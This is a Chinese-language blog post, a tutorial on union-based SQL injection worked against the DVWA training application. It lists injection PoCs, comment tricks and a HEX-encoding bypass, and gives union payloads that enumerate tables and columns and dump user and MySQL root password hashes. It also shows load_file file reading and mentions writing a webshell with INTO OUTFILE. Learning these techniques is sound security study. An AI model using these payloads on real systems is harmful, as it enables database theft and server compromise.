sql回显注入(满满的干货)

三种注入poc

 where user_id = 1 or 1=1

 where user_id = '1' or '1'='1'

 where user_id =" 1 "or "1"="1"

三种sql注释符

#     单行注释   注意与url中的#区分,常编码为%23

--空格      单行注释  注意为短线短线空格

/*()*/      多行注释  至少存在俩处的注入   /**/常用来作为空格

注入流程

是否存在注入并且判断注入类型

判断字段数   order by 

确定回显点      union select 1,2

查询数据库信息    @@version    @@datadir

查询用户名,数据库名     user()   database()

文件读取  union select 1,load_file('C:\\wondows\\win.ini')#

写入 webshell       select..into  outfile...

补充一点,使用sql注入遇到转义字符串的单引号或者双引号,可使用HEX编码绕过

 

sql注入

SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大,常常会导致整个数据库被脱裤,如今SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入分类:

SQLMap中的分类来看,SQL注入类型有以下5种:

 

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)堆叠查询

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

 1、寻找注入点,可以通过 web 扫描工具实现

 2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

 3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

 3.1 还可以获取数据库的root账号 密码—思路

 4、可以通过获得的用户信息,寻找后台登录。

 5、利用后台或了解的进一步信息。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型

 2.猜解 SQL 查询语句中的字段数

 3.确定显示的字段顺序

 4.获取当前数据库

 5.获取数据库中的表

 6.获取表中的字段名

 7.查询到账户的数据

下面对四种级别的代码进行分析。

 猜数据库:

1' union select 1,database()#

payload利用另一种方式:

1' union select user(),database()#

Version()#

得到数据库名:dvwa

PS:union查询结合了两个select查询结果,根据上面的order by语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用union查询结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

得到表名:guestbook,users

group_concat 分组

 猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#

1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用编码就不用单引号,用单引号就不用编码)

 得到列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用户数据:

列举出几种payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

1' union select null,concat_ws(char(32,58,32),user,password) from users #  

1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #  

得到用户数据:

admin 5f4dcc3b5aa765d61d8327deb882cf99

 root 用户:

1' union select 1,group_concat(user,password) from mysql.user#

得到root用户信息:

root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

 

 

 

 
 
 
 

 

posted @ 2019-06-19 21:50  iwhattt  阅读(4493)  评论(0编辑  收藏  举报